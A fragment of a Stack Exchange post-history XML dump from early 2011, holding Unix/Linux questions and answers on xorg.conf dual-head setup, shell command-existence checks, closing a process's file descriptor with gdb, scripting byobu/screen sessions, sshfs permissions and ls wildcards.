&quot;1400x1050&quot;&#xD;&#xA;    	Option	    &quot;TargetRefresh&quot; &quot;60&quot;&#xD;&#xA;    	Option	    &quot;Position&quot; &quot;0 0&quot;&#xD;&#xA;    	Option	    &quot;Rotate&quot; &quot;normal&quot;&#xD;&#xA;    	Option	    &quot;Disable&quot; &quot;false&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;    	Identifier   &quot;0-DFP1&quot;&#xD;&#xA;    	Option	    &quot;VendorName&quot; &quot;ATI Proprietary Driver&quot;&#xD;&#xA;    	Option	    &quot;ModelName&quot; &quot;Generic Autodetecting Monitor&quot;&#xD;&#xA;    	Option	    &quot;DPMS&quot; &quot;true&quot;&#xD;&#xA;    	Option	    &quot;PreferredMode&quot; &quot;1400x1050&quot;&#xD;&#xA;    	Option	    &quot;TargetRefresh&quot; &quot;60&quot;&#xD;&#xA;    	Option	    &quot;Position&quot; &quot;0 0&quot;&#xD;&#xA;    	Option	    &quot;Rotate&quot; &quot;normal&quot;&#xD;&#xA;    	Option	    &quot;Disable&quot; &quot;false&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;    	Identifier  &quot;Default Device&quot;&#xD;&#xA;    	Driver      &quot;fglrx&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;    	Identifier  &quot;amdcccle-Device[1]-0&quot;&#xD;&#xA;    	Driver      &quot;fglrx&quot;&#xD;&#xA;    	Option	    &quot;Monitor-DFP1&quot; &quot;0-DFP1&quot;&#xD;&#xA;    	BusID       &quot;PCI:1:5:0&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;    	Identifier  &quot;amdcccle-Device[1]-1&quot;&#xD;&#xA;    	Driver      &quot;fglrx&quot;&#xD;&#xA;    	Option	    &quot;Monitor-CRT1&quot; &quot;0-CRT1&quot;&#xD;&#xA;    	BusID       &quot;PCI:1:5:0&quot;&#xD;&#xA;    	Screen      1&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;    	Identifier &quot;Default Screen&quot;&#xD;&#xA;    	DefaultDepth     24&#xD;&#xA;    	SubSection &quot;Display&quot;&#xD;&#xA;    	EndSubSection&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;    	Identifier &quot;amdcccle-Screen[1]-0&quot;&#xD;&#xA;    	Device     &quot;amdcccle-Device[1]-0&quot;&#xD;&#xA;    	DefaultDepth     24&#xD;&#xA;    	SubSection &quot;Display&quot;&#xD;&#xA;    		Viewport   0 0&#xD;&#xA;    		Depth     24&#xD;&#xA;    	EndSubSection&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;    	Identifier &quot;amdcccle-Screen[1]-1&quot;&#xD;&#xA;    	Device     &quot;amdcccle-Device[1]-1&quot;&#xD;&#xA;    	DefaultDepth     24&#xD;&#xA;    	SubSection &quot;Display&quot;&#xD;&#xA;    		Viewport   0 0&#xD;&#xA;    		Depth     24&#xD;&#xA;    	EndSubSection&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;DRI&quot;&#xD;&#xA;    	Group        &quot;vglusers&quot;&#xD;&#xA;    	Mode         0660&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;(the latter entry is from [VirtualGL](http://www.virtualgl.org/), see [this question](http://unix.stackexchange.com/q/5235/863), it should be irrelevant here)" />
  <row Id="12424" PostHistoryTypeId="1" PostId="5544" RevisionGUID="fc1804ff-782e-4cf8-af46-b3213a572105" CreationDate="2011-01-08T11:55:07.807" UserId="863" Text="How to lock one mouse/keyboard pair to each screen?" />
  <row Id="12425" PostHistoryTypeId="3" PostId="5544" RevisionGUID="fc1804ff-782e-4cf8-af46-b3213a572105" CreationDate="2011-01-08T11:55:07.807" UserId="863" Text="édualömonitoràémouseàéfglrxà" />
  <row Id="12426" PostHistoryTypeId="5" PostId="4991" RevisionGUID="a1524415-db2c-46c6-bd52-8145b4d73970" CreationDate="2011-01-08T12:21:14.070" UserId="885" Comment="discuss `command -v`, `type -p`" Text="Use [**`type commandname`**](http://pubs.opengroup.org/onlinepubs/7990989775/xcu/type.html). This returns true if `commandname` is anything executable: alias, function, built-in or external command (looked up in `$PATH`). Alternatively, use [`command commandname`](http://pubs.opengroup.org/onlinepubs/7990989775/xcu/command.html) which returns true if `commandname` is a built-in or external command (looked up in `$PATH`).&#xD;&#xA;&#xD;&#xA;    exists () {&#xD;&#xA;      type &quot;$1&quot; &gt;/dev/null 2&gt;/dev/null&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;There are a few sh variants (definitely pre-POSIX; I know of `/bin/sh` under OSF1 ≤3.x and some versions of the Almquist shell found in early NetBSD versions and a few 20th-century Linux distributions) where `type` always returns 0 or doesn't exist. I don't think any systems shipped with these this millennium. If you ever encounter them, here's a function you can use to search in `$PATH` manually:&#xD;&#xA;&#xD;&#xA;    exists () { (&#xD;&#xA;        IFS=:&#xD;&#xA;        for d in $PATH; do&#xD;&#xA;          if test -x &quot;$d/$1&quot;; then return 0; fi&#xD;&#xA;        done&#xD;&#xA;        return 1&#xD;&#xA;    ) }&#xD;&#xA;&#xD;&#xA;This function is generally useful if you want to exclude built-ins and functions and look up the name in `$PATH`. Most shells have a built-in for this, [**`command -v`**](http://pubs.opengroup.org/onlinepubs/009695399/utilities/command.html), though it's a relatively recent addition to POSIX (still optional as of POSIX:2004). It's basically a programmer-friendly version of `type`: it prints the full path for an executable in `$PATH`, the bare name for a built-in or function, and an alias definition for an alias.&#xD;&#xA;&#xD;&#xA;    exists_in_path () {&#xD;&#xA;      case $(command -v -- &quot;$1&quot;) in&#xD;&#xA;        /*) return 0;;&#xD;&#xA;        alias\ *) return 1;; # alias&#xD;&#xA;        *) return 1;; # built-in or function&#xD;&#xA;      esac&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Ksh, bash and zsh also have `type -p` to look up only executables in `$PATH`. Note that in bash, the return status of `type -p foo` is 0 if `foo` is a built-in or function; if you want to test for an executable in `$PATH`, you need to check that the output is not empty. `type -p` is not in POSIX; for instance Debian's ash (which is `/bin/sh` on Ubuntu) doesn't have it.&#xD;&#xA;" />
  <row Id="12427" PostHistoryTypeId="5" PostId="5478" RevisionGUID="8eedda97-c7a1-4345-96f6-fcab5d5d389a" CreationDate="2011-01-08T12:30:14.830" UserId="885" Comment="_NET_WM_PID is set by the client, not the window manager (thanks ephemient)" Text="Given an X11 window ID, is there a way to find the ID of the process that created it?&#xD;&#xA;&#xD;&#xA;Of course this isn't always possible, for example if the window came over a TCP connection. For that case I'd like the IP and port associated with the remote end.&#xD;&#xA;&#xD;&#xA;[The question was asked before on Stack Overflow](http://stackoverflow.com/questions/1131277/how-to-convert-a-x11-window-id-to-a-process-id), and a proposed method was to use the `_NET_WM_PID` property. But that's set by the application. Is there a way to do it if the application doesn't play nice?&#xD;&#xA;" />
  <row Id="12428" PostHistoryTypeId="5" PostId="5544" RevisionGUID="3c6ee482-f322-40f3-ad3c-9e0ccbc20672" CreationDate="2011-01-08T12:33:44.170" UserId="863" Comment="added 116 characters in body; edited tags" Text="Using the ATI Catalyst Control Center (fglrx), I setup two desktops (the multidesktop option) via dual-head. Now I have two mice and keyboards (USB) attached which, using `xinput` can be put in two separate groups. Can I lock each group to one screen? And how can this be done permanently? Alternatively, instructions for turning this &quot;lite multiseat&quot; configuration into multiseat are appreciated as well.&#xD;&#xA;&#xD;&#xA;This is the xorg.conf as setup by the Catalyst Center:&#xD;&#xA;&#xD;&#xA;    Section &quot;ServerLayout&quot;&#xD;&#xA;    	Identifier     &quot;amdcccle Layout&quot;&#xD;&#xA;    	Screen      0  &quot;amdcccle-Screen[1]-0&quot; 0 0&#xD;&#xA;    	Screen         &quot;amdcccle-Screen[1]-1&quot; 1400 0&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Module&quot;&#xD;&#xA;    	Load  &quot;glx&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;    	Identifier   &quot;0-CRT1&quot;&#xD;&#xA;    	Option	    &quot;VendorName&quot; &quot;ATI Proprietary Driver&quot;&#xD;&#xA;    	Option	    &quot;ModelName&quot; &quot;Generic Autodetecting Monitor&quot;&#xD;&#xA;    	Option	    &quot;DPMS&quot; &quot;true&quot;&#xD;&#xA;    	Option	    &quot;PreferredMode&quot; &quot;1400x1050&quot;&#xD;&#xA;    	Option	    &quot;TargetRefresh&quot; &quot;60&quot;&#xD;&#xA;    	Option	    &quot;Position&quot; &quot;0 0&quot;&#xD;&#xA;    	Option	    &quot;Rotate&quot; &quot;normal&quot;&#xD;&#xA;    	Option	    &quot;Disable&quot; &quot;false&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;    	Identifier   &quot;0-DFP1&quot;&#xD;&#xA;    	Option	    &quot;VendorName&quot; &quot;ATI Proprietary Driver&quot;&#xD;&#xA;    	Option	    &quot;ModelName&quot; &quot;Generic Autodetecting Monitor&quot;&#xD;&#xA;    	Option	    &quot;DPMS&quot; &quot;true&quot;&#xD;&#xA;    	Option	    &quot;PreferredMode&quot; &quot;1400x1050&quot;&#xD;&#xA;    	Option	    &quot;TargetRefresh&quot; &quot;60&quot;&#xD;&#xA;    	Option	    &quot;Position&quot; &quot;0 0&quot;&#xD;&#xA;    	Option	    &quot;Rotate&quot; &quot;normal&quot;&#xD;&#xA;    	Option	    &quot;Disable&quot; &quot;false&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;    	Identifier  &quot;Default Device&quot;&#xD;&#xA;    	Driver      &quot;fglrx&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;    	Identifier  &quot;amdcccle-Device[1]-0&quot;&#xD;&#xA;    	Driver      &quot;fglrx&quot;&#xD;&#xA;    	Option	    &quot;Monitor-DFP1&quot; &quot;0-DFP1&quot;&#xD;&#xA;    	BusID       &quot;PCI:1:5:0&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;    	Identifier  &quot;amdcccle-Device[1]-1&quot;&#xD;&#xA;    	Driver      &quot;fglrx&quot;&#xD;&#xA;    	Option	    &quot;Monitor-CRT1&quot; &quot;0-CRT1&quot;&#xD;&#xA;    	BusID       &quot;PCI:1:5:0&quot;&#xD;&#xA;    	Screen      1&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;    	Identifier &quot;Default Screen&quot;&#xD;&#xA;    	DefaultDepth     24&#xD;&#xA;    	SubSection &quot;Display&quot;&#xD;&#xA;    	EndSubSection&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;    	Identifier &quot;amdcccle-Screen[1]-0&quot;&#xD;&#xA;    	Device     &quot;amdcccle-Device[1]-0&quot;&#xD;&#xA;    	DefaultDepth     24&#xD;&#xA;    	SubSection &quot;Display&quot;&#xD;&#xA;    		Viewport   0 0&#xD;&#xA;    		Depth     24&#xD;&#xA;    	EndSubSection&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;    	Identifier &quot;amdcccle-Screen[1]-1&quot;&#xD;&#xA;    	Device     &quot;amdcccle-Device[1]-1&quot;&#xD;&#xA;    	DefaultDepth     24&#xD;&#xA;    	SubSection &quot;Display&quot;&#xD;&#xA;    		Viewport   0 0&#xD;&#xA;    		Depth     24&#xD;&#xA;    	EndSubSection&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;DRI&quot;&#xD;&#xA;    	Group        &quot;vglusers&quot;&#xD;&#xA;    	Mode         0660&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;(the latter entry is from [VirtualGL](http://www.virtualgl.org/), see [this question](http://unix.stackexchange.com/q/5235/863), it should be irrelevant here)" />
  <row Id="12429" PostHistoryTypeId="6" PostId="5544" RevisionGUID="3c6ee482-f322-40f3-ad3c-9e0ccbc20672" CreationDate="2011-01-08T12:33:44.170" UserId="863" Comment="added 116 characters in body; edited tags" Text="édualömonitoràémultiseatàémouseàéfglrxà" />
  <row Id="12430" PostHistoryTypeId="6" PostId="4509" RevisionGUID="a90d4fc5-c0da-4aec-9bf3-9783f8e3b5e0" CreationDate="2011-01-08T12:37:17.463" UserId="885" Comment="edited tags" Text="éunixàéhpöuxàécççà" />
  <row Id="12431" PostHistoryTypeId="2" PostId="5545" RevisionGUID="e3e0daab-2201-4313-ab2f-c8cc7f9e940a" CreationDate="2011-01-08T12:59:33.177" UserId="885" Text="There's no clean way to close an open file (network port or otherwise) in an application that doesn't expect it.&#xD;&#xA;&#xD;&#xA;There is a way to close the file under its nose, but the application might not react well. There's a good chance it will crash, which would defeat the purpose. You can execute a system call in a remote process with the [`ptrace`](http://en.wikipedia.org/wiki/Ptrace) system call. Use `lsof` or `netstat` to find the file descriptor you're interested in. Then attach your favorite debugger to the process in question and make it execute a `close` (or `shutdown`) system call.&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    # Usage: shutdown-in-process PID FD&#xD;&#xA;    gdb -n -pid &quot;$1&quot; -batch -x /dev/stdin &lt;&lt;EOF&#xD;&#xA;    call close($2)&#xD;&#xA;    detach&#xD;&#xA;    quit&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;As this has a good chance of crashing the application, because its interface with its environment will no longer match its internal data structure, consider other approaches. In particular, if the purpose is to have a different application listening on a UDP or TCP port, you could redirect traffic to a different port at the level of the network layer (`iptables` under Linux, `pfctl` under BSD, …).&#xD;&#xA;" />
  <row Id="12432" PostHistoryTypeId="5" PostId="5542" RevisionGUID="b8929a6f-55e4-4c82-a06e-5a87245fc59b" CreationDate="2011-01-08T13:00:27.387" UserId="885" Comment="deleted 21 characters in body; edited tags; edited title" Text="I have been consulted about any way to release a port owned by a third party application that is listening to it. Say the application uses sockets and is listening for an specific port the root now want to claim back without closing the application. I've been unable to give an answer.&#xD;&#xA;&#xD;&#xA;Is there any way to close the handle to the port from the terminal or with an specific API (say the root can write and run C++) that can accomplish this?&#xD;&#xA;" />
  <row Id="12433" PostHistoryTypeId="4" PostId="5542" RevisionGUID="b8929a6f-55e4-4c82-a06e-5a87245fc59b" CreationDate="2011-01-08T13:00:27.387" UserId="885" Comment="deleted 21 characters in body; edited tags; edited title" Text="Release a port owned by third party application?" />
  <row Id="12434" PostHistoryTypeId="6" PostId="5542" RevisionGUID="b8929a6f-55e4-4c82-a06e-5a87245fc59b" CreationDate="2011-01-08T13:00:27.387" UserId="885" Comment="deleted 21 characters in body; edited tags; edited title" Text="énetworkingàéprocessà" />
  <row Id="12435" PostHistoryTypeId="2" PostId="5546" RevisionGUID="614e8661-8cbd-40cd-8180-f45812c66ff2" CreationDate="2011-01-08T13:18:30.793" UserId="2630" Text="In a script I am building I'm experimenting with how to automate as much as possible. One of the more interesting challenges is to connect to a byobu screen session and execute a command.&#xD;&#xA;&#xD;&#xA;So I started in the obvious place, looking on how many screen sessions there are (game has 3 windows in byobu and lordquackstar has 2. The users are in separate putty instances)&#xD;&#xA;&#xD;&#xA;    game@quackgame:~$ screen -ls&#xD;&#xA;    There is a screen on:&#xD;&#xA;            2019.byobu      (01/05/2011 05:10:04 PM)        (Attached)&#xD;&#xA;    1 Socket in /var/run/screen/S-game.&#xD;&#xA;&#xD;&#xA;Notice how 4 sessions are missing. And when I change programs to lordquackstar, it only shows that screen session. So what about listing everyone:&#xD;&#xA;&#xD;&#xA;    lordquackstar@quackgame:/home/game$ sudo ls -lAR /var/run/screen/&#xD;&#xA;    /var/run/screen/:&#xD;&#xA;    total 0&#xD;&#xA;    drwx------ 2 game          users         100 2011-01-06 09:18 S-game&#xD;&#xA;    drwx------ 2 lordquackstar lordquackstar 100 2011-01-06 09:17 S-lordquackstar&#xD;&#xA;    &#xD;&#xA;    /var/run/screen/S-game:&#xD;&#xA;    total 4&#xD;&#xA;    prwx------ 1 game users 0 2011-01-08 07:55 2019.byobu&#xD;&#xA;    -rw------- 1 game users 0 2011-01-06 09:18 byobu-exchange&#xD;&#xA;    -rw-r--r-- 1 game users 3 2011-01-08 07:32 byobu.updates-available&#xD;&#xA;    &#xD;&#xA;    /var/run/screen/S-lordquackstar:&#xD;&#xA;    total 4&#xD;&#xA;    prwx------ 1 lordquackstar lordquackstar 0 2011-01-08 07:42 1169.byobu&#xD;&#xA;    -rw------- 1 lordquackstar lordquackstar 0 2011-01-06 09:17 byobu-exchange&#xD;&#xA;    -rw-r--r-- 1 lordquackstar lordquackstar 3 2011-01-08 07:35 byobu.updates-available&#xD;&#xA;&#xD;&#xA;Still missing the other screen sessions&#xD;&#xA;&#xD;&#xA;So for my question: How can I connect to the other screen sessions?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;On a slightly related note, once I connect to it from a bash script, is there any way to send it a command then detatch?&#xD;&#xA;" />
  <row Id="12436" PostHistoryTypeId="1" PostId="5546" RevisionGUID="614e8661-8cbd-40cd-8180-f45812c66ff2" CreationDate="2011-01-08T13:18:30.793" UserId="2630" Text="Connect to byobu screen session and execute command?" />
  <row Id="12437" PostHistoryTypeId="3" PostId="5546" RevisionGUID="614e8661-8cbd-40cd-8180-f45812c66ff2" CreationDate="2011-01-08T13:18:30.793" UserId="2630" Text="ébashàéscreenàébyobuà" />
  <row Id="12438" PostHistoryTypeId="5" PostId="5546" RevisionGUID="5ffa5ec3-84dc-404b-b778-6c5f326305c5" CreationDate="2011-01-08T13:37:31.510" UserId="2630" Comment="added 35 characters in body" Text="In a script I am building I'm experimenting with how to automate as much as possible. One of the more interesting challenges is to connect to a byobu screen session and execute a command.&#xD;&#xA;&#xD;&#xA;So I started where I thought things would be: how many screen sessions there are (game has 4 windows in byobu and lordquackstar has 2 windows)&#xD;&#xA;&#xD;&#xA;So I started in the obvious place, looking on how many screen sessions there are (game has 3 windows in byobu and lordquackstar has 2. The users are in separate putty instances)&#xD;&#xA;&#xD;&#xA;    game@quackgame:~$ screen -ls&#xD;&#xA;    There is a screen on:&#xD;&#xA;            2019.byobu      (01/05/2011 05:10:04 PM)        (Attached)&#xD;&#xA;    1 Socket in /var/run/screen/S-game.&#xD;&#xA;&#xD;&#xA;Only one there, so I checked for the system&#xD;&#xA;&#xD;&#xA;    lordquackstar@quackgame:/home/game$ sudo ls -lAR /var/run/screen/&#xD;&#xA;    /var/run/screen/:&#xD;&#xA;    total 0&#xD;&#xA;    drwx------ 2 game          users         100 2011-01-06 09:18 S-game&#xD;&#xA;    drwx------ 2 lordquackstar lordquackstar 100 2011-01-06 09:17 S-lordquackstar&#xD;&#xA;    &#xD;&#xA;    /var/run/screen/S-game:&#xD;&#xA;    total 4&#xD;&#xA;    prwx------ 1 game users 0 2011-01-08 07:55 2019.byobu&#xD;&#xA;    -rw------- 1 game users 0 2011-01-06 09:18 byobu-exchange&#xD;&#xA;    -rw-r--r-- 1 game users 3 2011-01-08 07:32 byobu.updates-available&#xD;&#xA;    &#xD;&#xA;    /var/run/screen/S-lordquackstar:&#xD;&#xA;    total 4&#xD;&#xA;    prwx------ 1 lordquackstar lordquackstar 0 2011-01-08 07:42 1169.byobu&#xD;&#xA;    -rw------- 1 lordquackstar lordquackstar 0 2011-01-06 09:17 byobu-exchange&#xD;&#xA;    -rw-r--r-- 1 lordquackstar lordquackstar 3 2011-01-08 07:35 byobu.updates-available&#xD;&#xA;&#xD;&#xA;Still no multiple screens&#xD;&#xA;&#xD;&#xA;So for my question: How can I connect to a window in byobu from a script?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;On a slightly related note, once I connect to it from a bash script, is there any way to send it a command then detatch?&#xD;&#xA;" />
  <row Id="12439" PostHistoryTypeId="2" PostId="5547" RevisionGUID="80554b65-a393-4ee7-a014-8208f3a086ef" CreationDate="2011-01-08T14:02:54.440" UserId="3069" Text="You can directly attach to a previously detached `byobu`/`screen` session including the window:&#xD;&#xA;&#xD;&#xA;    byobu -r -p2&#xD;&#xA;&#xD;&#xA;will reattach into window 2 (or a named one).&#xD;&#xA;&#xD;&#xA;`-X` can send any command to a `byobu`/`screen` session and also works with the `-p` switch.&#xD;&#xA;&#xD;&#xA;    byobu -p2 -X stuff &quot;uname -a $(echo -ne '\r')&quot;&#xD;&#xA;&#xD;&#xA;This will send a `uname -a` to the second (third actually) byobu window, the `echo` at the end sends a carriage return so the commands gets executed." />
  <row Id="12440" PostHistoryTypeId="2" PostId="5548" RevisionGUID="b26a942c-f1a9-46d2-bfc8-ea38b46ad285" CreationDate="2011-01-08T14:03:41.897" UserId="885" Text="You can send a command to a particular screen window of a particular screen session without attaching to it.&#xD;&#xA;&#xD;&#xA;    screen -S sessionname -p windowname -X screencommand&#xD;&#xA;&#xD;&#xA;The session name is set with the `-S` option when starting screen or the `sessionname` command; by default it's `byobu` with byobu. You can also use the screen PID after `-S`. You can set a window's name with the `title` command. You can also use the window number.&#xD;&#xA;&#xD;&#xA;    screen -S byobu -p 1 -X stuff 'ls&#xD;&#xA;    '&#xD;&#xA;" />
  <row Id="12441" PostHistoryTypeId="2" PostId="5549" RevisionGUID="0d16ea35-46a0-4fda-97b8-e0e4684ae971" CreationDate="2011-01-08T15:50:48.050" UserId="2504" Text="I'm doing the following to mount a remote server to a specific path on my server:&#xD;&#xA;&#xD;&#xA;    sshfs user@remoteserver.com:/backup/folder/ /home/myuser/server-backups/&#xD;&#xA;&#xD;&#xA;However when I mount the server the folder permissions change (they become 700), and when I test my rsnapshot.conf file I get the following error:&#xD;&#xA;&#xD;&#xA;    snapshot_root /home/myuser/server-backups/ - snapshot_root exists \&#xD;&#xA;             but is not readable&#xD;&#xA;&#xD;&#xA;What am I doing wrong ? should I mount the remote server with another user ?&#xD;&#xA;" />
  <row Id="12442" PostHistoryTypeId="1" PostId="5549" RevisionGUID="0d16ea35-46a0-4fda-97b8-e0e4684ae971" CreationDate="2011-01-08T15:50:48.050" UserId="2504" Text="Permissions issues with mounting remote server into a specific folder" />
  <row Id="12443" PostHistoryTypeId="3" PostId="5549" RevisionGUID="0d16ea35-46a0-4fda-97b8-e0e4684ae971" CreationDate="2011-01-08T15:50:48.050" UserId="2504" Text="émountàésshfsà" />
  <row Id="12444" PostHistoryTypeId="2" PostId="5550" RevisionGUID="9124b10a-f53c-4bce-9128-9568942b892f" CreationDate="2011-01-08T15:58:11.383" UserId="3487" Text="Difficult to say, given the limited amount of information available. Here's a couple of random suggestions.&#xD;&#xA;&#xD;&#xA;* Check that proxy settings are correct (similar to working laptops).&#xD;&#xA;&#xD;&#xA;* Check that Proxy Auto-Discovery works the same for your two browsers, as it does for browsers on other laptops on the same network. Auto-discovery happens via DNS in Firefox, Internet Explorer supports both DNS, DHCP (via an INFORM request for option 252) and Group Policy distribution of proxy settings.  (Maybe IE supports one additional method, I can't recall at the moment.)&#xD;&#xA;&#xD;&#xA;* Use a sniffer like tcpdump or Wireshark to figure out exactly what is going on. If you're not sure how to interpret the raw packets, the additional information might be useful to add to this question.&#xD;&#xA;" />
  <row Id="12445" PostHistoryTypeId="2" PostId="5551" RevisionGUID="b30fc371-d0c5-481e-948a-24993595a6c8" CreationDate="2011-01-08T17:07:02.610" UserId="912" Text="In a directory, I have files like&#xD;&#xA;&#xD;&#xA;    lazer_100506&#xD;&#xA;    lazer_100707&#xD;&#xA;    lazer_091211&#xD;&#xA;    lazer_110103&#xD;&#xA;    lazer_100406_temp&#xD;&#xA;    lazer_100622#delete&#xD;&#xA;&#xD;&#xA;etc&#xD;&#xA;&#xD;&#xA;How can I get a listing of only the first four files?&#xD;&#xA;&#xD;&#xA;    $ ls lazer_......&#xD;&#xA;    ls: lazer_......: No such file or directory&#xD;&#xA;    $ " />
  <row Id="12446" PostHistoryTypeId="1" PostId="5551" RevisionGUID="b30fc371-d0c5-481e-948a-24993595a6c8" CreationDate="2011-01-08T17:07:02.610" UserId="912" Text="How can I search for a file with fixed name length using ls?" />
  <row Id="12447" PostHistoryTypeId="3" PostId="5551" RevisionGUID="b30fc371-d0c5-481e-948a-24993595a6c8" CreationDate="2011-01-08T17:07:02.610" UserId="912" Text="élinuxàécommandölineàébashàélsà" />
  <row Id="12448" PostHistoryTypeId="2" PostId="5552" RevisionGUID="7144e04f-1ab7-4dad-b299-2bb537230366" CreationDate="2011-01-08T17:26:44.587" UserId="3069" Text="`ls` and `egrep`:&#xD;&#xA;&#xD;&#xA;    ls | egrep '^lazer_.{6}$'&#xD;&#xA;&#xD;&#xA;or with `find`:&#xD;&#xA;&#xD;&#xA;    find . -regextype posix-egrep -regex '^./lazer_.{6}$'" />
  <row Id="12449" PostHistoryTypeId="5" PostId="2736" RevisionGUID="e60b9c7a-cd39-4a33-ac07-656e45992ac1" CreationDate="2011-01-08T17:37:21.397" UserId="2117" Comment="deleted 1 characters in body" Text="Basically /proc has the files that are stored on RAM when system boots and remain there as long as system is up. Getting to know what's on this file is like reading RAM. That's why you cant change the contents or values of these files using vim or some any other editor. They need to be forced with some boolean values. &#xD;&#xA;&#xD;&#xA;[Here][1] I've got some good documentation with the whole list and their description.&#xD;&#xA;&#xD;&#xA;Hope this helps !&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.comptechdoc.org/os/linux/howlinuxworks/linux_hlproc.html" />
  <row Id="12450" PostHistoryTypeId="2" PostId="5553" RevisionGUID="8a98d1cd-6de4-46f7-8c65-697ad5cfac13" CreationDate="2011-01-08T17:44:26.197" UserId="3449" Text="I use htop to watch my processes, but most of services ran are multi threaded, so they are shown on several lines with a % of memory use which in some cases is the same for all, sometimes it varies among them.&#xD;&#xA;&#xD;&#xA;Say in the case of Firefox it can list 15 processes each consuming 13% of memory.&#xD;&#xA;&#xD;&#xA;Can I know hoc much memory is Firefox, MySQL, some fcgi script or anything is consuming? since the htop output seems misleading.&#xD;&#xA;" />
  <row Id="12451" PostHistoryTypeId="1" PostId="5553" RevisionGUID="8a98d1cd-6de4-46f7-8c65-697ad5cfac13" CreationDate="2011-01-08T17:44:26.197" UserId="3449" Text="How to find out how much memory a program taking" />
  <row Id="12452" PostHistoryTypeId="3" PostId="5553" RevisionGUID="8a98d1cd-6de4-46f7-8c65-697ad5cfac13" CreationDate="2011-01-08T17:44:26.197" UserId="3449" Text="émemoryàétopà" />
  <row Id="12454" PostHistoryTypeId="5" PostId="5543" RevisionGUID="ab8917e4-4aba-428a-ae72-e15ecffa8a6c" CreationDate="2011-01-08T17:48:12.303" UserId="688" Comment="add link to 'nice guide'" Text="I see that Iceweasel 4 from http://mozilla.debian.net/ repository is broken (depends on non-existent version of SQLite). I got this [nice guide][1], but it's dated and is based on the same repo, so the broken-ness persists. Is there a working repo out there? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://okomestudio.net/biboroku/?p=1166&#xD;&#xA;" />
  <row Id="12456" PostHistoryTypeId="5" PostId="5552" RevisionGUID="e6c4de63-7f3b-444a-a0d1-2dad1d790f49" CreationDate="2011-01-08T18:00:26.237" UserId="3069" Comment="added 31 characters in body; added 6 characters in body" Text="`ls` only:&#xD;&#xA;&#xD;&#xA;    ls lazer_??????&#xD;&#xA;&#xD;&#xA;`ls` and `egrep`:&#xD;&#xA;&#xD;&#xA;    ls | egrep '^lazer_.{6}$'&#xD;&#xA;&#xD;&#xA;or with `find`:&#xD;&#xA;&#xD;&#xA;    find . -regextype posix-egrep -regex '^./lazer_.{6}$'" />
  <row Id="12457" PostHistoryTypeId="2" PostId="5555" RevisionGUID="1958bc3a-25dd-4175-83a7-db283fda8fab" CreationDate="2011-01-08T18:25:43.700" UserId="885" Text="Most top implementations have a way to turn the display of threads on or off.&#xD;&#xA;&#xD;&#xA;* htop: in the “Setup / Display options” menu, “Hide userlands threads”.&#xD;&#xA;* Linux top: press `H` to toggle the showing of threads (but they're off by default).&#xD;&#xA;* OpenBSD top: press `T` to toggle the showing of threads (but they're off by default).&#xD;&#xA;&#xD;&#xA;Note that memory mappings, and hence memory occupation, is a property of a process, so you'll always see the same numbers for every thread in a process. If you see different numbers, it means there are multiple processes.&#xD;&#xA;&#xD;&#xA;There's no easy way to find out the total memory consumption of a set of processes because the concept isn't well-defined. Some of the memory may be shared; this happens all the time with shared memory, and in addition related processes (such as multiple instances of a server) are more likely to use shared memory to exchange data. If you just add the figures, you'll often get a number that's a lot larger than the actual used memory.&#xD;&#xA;" />
  <row Id="12458" PostHistoryTypeId="6" PostId="5551" RevisionGUID="9ae43c4c-4aa1-47fa-9c64-2c0112a7c42b" CreationDate="2011-01-08T18:35:26.457" UserId="885" Comment="edited tags" Text="éshellàélsàéwildcardsà" />
  <row Id="12459" PostHistoryTypeId="2" PostId="5556" RevisionGUID="e04b3c6f-125d-4678-ad1b-f2dfec3fad8a" CreationDate="2011-01-08T18:39:10.027" UserId="885" Text="FUSE has options to control who has access to the files. I'm guessing you want `sshfs -o allow_other`.&#xD;&#xA;" />
